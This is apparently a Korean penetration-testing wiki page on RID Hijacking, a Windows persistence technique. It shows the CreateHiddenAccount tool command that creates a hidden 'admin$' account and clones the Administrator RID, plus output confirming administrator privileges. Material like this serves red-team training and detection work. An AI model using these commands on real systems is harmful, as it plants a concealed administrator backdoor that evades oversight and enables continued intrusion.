펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Practice
  • References

Was this helpful?

Export as PDF
  1. 지속성
  2. Active Directory

RID Hijacking

PreviousDC ShadowNextCertificate

Last updated 1 month ago

Was this helpful?

RID Hijacking 공격은 로컬 관리자 권한을 획득한 공격자가 지속성을 위하여 새로운 계정 혹은 기존의 계정을 은닉 후, 높은 권한을 부여하는 지속성 공격입니다. 다른 계정을 장악하거나 골든 티켓을 발급하는 등의 지속성 공격과는 다르게 은닉한 계정에 대해 높은 권한을 부여하는 것이기 때문에 탐지 자체가 쉽지 않습니다.

Practice

실습을 위해서 PowerShell을 관리자 권한으로 실행한 뒤, PsExec를 통하여 시스템 권한을 획득합니다. 공격자는 로컬 호스트 System 권한을 이미 탈취한 이후이기 때문에 권한 상승과 관련된 과정은 생략합니다. Windows에서는 사용자 계정명 끝에 "$" 기호를 추가하면 net user 명령으로는 조회할 수 없습니다. 히든 계정을 조회하기 위해 레지스트리나 wmic useraccount get name 명령을 이용합니다.

RID Hijacking 공격은 히든 계정을 생성한 이후, 관리자 RID를 탈취하여 레지스트리 값을 수정하는 과정이 필요한데, 이를 위해 자동화 오픈소스 도구를 사용합니다.

# CreateHiddenAccount 도구를 사용한 히든 계정 생성 및 관리자 권한 부여
PS C:\Users\yeonu\Downloads> .\CreateHiddenAccount_v0.2.exe -u admin -p password123 -cu Administrator

...

[+] Successfully added admin$ user.
[+] Successfully added admin$ user to administrator group.
[+] admin$ RID: 407
[+] Administrator RID: 1F4
[+] Succeeded to Delete admin$ User using Windows API.
[+] Registry imported successfully.
[+] Registry replaced successfully.
[+] Successfully add hidden user.

생성한 계정이 Administrator 계정의 RID를 하이재킹 하는데 성공했는지 파악하기 위해 runas를 통해 admin$ 계정의 쉘을 획득하여 권한을 확인합니다.

C:\Windows\System32>whoami /all

사용자 정보
----------------

사용자 이름 SID
=========== ===========================================
연우\admin$ S-1-5-21-1865062479-2107738167-63151596-500

...

사용 권한 이름                            설명                                                     상태
========================================= ======================================================== ==========
SeIncreaseQuotaPrivilege                  프로세스에 대한 메모리 할당량 조정                       사용 안 함
SeSecurityPrivilege                       감사 및 보안 로그 관리                                   사용 안 함
SeTakeOwnershipPrivilege                  파일 또는 기타 개체의 소유권 가져오기                    사용 안 함
SeLoadDriverPrivilege                     장치 드라이버 로드 및 언로드                             사용 안 함
SeSystemProfilePrivilege                  프로필 시스템 성능                                       사용 안 함
SeSystemtimePrivilege                     시스템 시간 변경                                         사용 안 함
SeProfileSingleProcessPrivilege           프로필 단일 프로세스                                     사용 안 함
SeIncreaseBasePriorityPrivilege           예약 우선 순위 증가                                      사용 안 함
SeCreatePagefilePrivilege                 페이지 파일 만들기                                       사용 안 함
SeBackupPrivilege                         파일 및 디렉터리 백업                                    사용 안 함
SeRestorePrivilege                        파일 및 디렉터리 복원                                    사용 안 함
SeShutdownPrivilege                       시스템 종료                                              사용 안 함
SeDebugPrivilege                          프로그램 디버깅                                          사용 안 함
SeSystemEnvironmentPrivilege              펌웨어 환경 값 수정                                      사용 안 함
SeChangeNotifyPrivilege                   트래버스 검사 무시                                       사용
SeRemoteShutdownPrivilege                 원격 시스템에서 강제 종료                                사용 안 함
SeUndockPrivilege                         도킹 스테이션에서 컴퓨터 제거                            사용 안 함
SeManageVolumePrivilege                   볼륨 유지 관리 작업 수행                                 사용 안 함
SeImpersonatePrivilege                    인증 후 클라이언트 가장                                  사용
SeCreateGlobalPrivilege                   전역 개체 만들기                                         사용
SeIncreaseWorkingSetPrivilege             프로세스 작업 집합 향상                                  사용 안 함
SeTimeZonePrivilege                       시간대 변경                                              사용 안 함
SeCreateSymbolicLinkPrivilege             심볼 링크 만들기                                         사용 안 함
SeDelegateSessionUserImpersonatePrivilege 동일한 세션의 다른 사용자에 대한 가장 토큰을 가져옵니다. 사용 안 함

References

Andariel 공격 그룹이 활용하는 RID Hijacking 공격 기법 - ASECASEC
GitHub - wgpsec/CreateHiddenAccount: A tool for creating hidden accounts using the registry || 一个使用注册表创建隐藏帐户的工具GitHub
Logo
Logo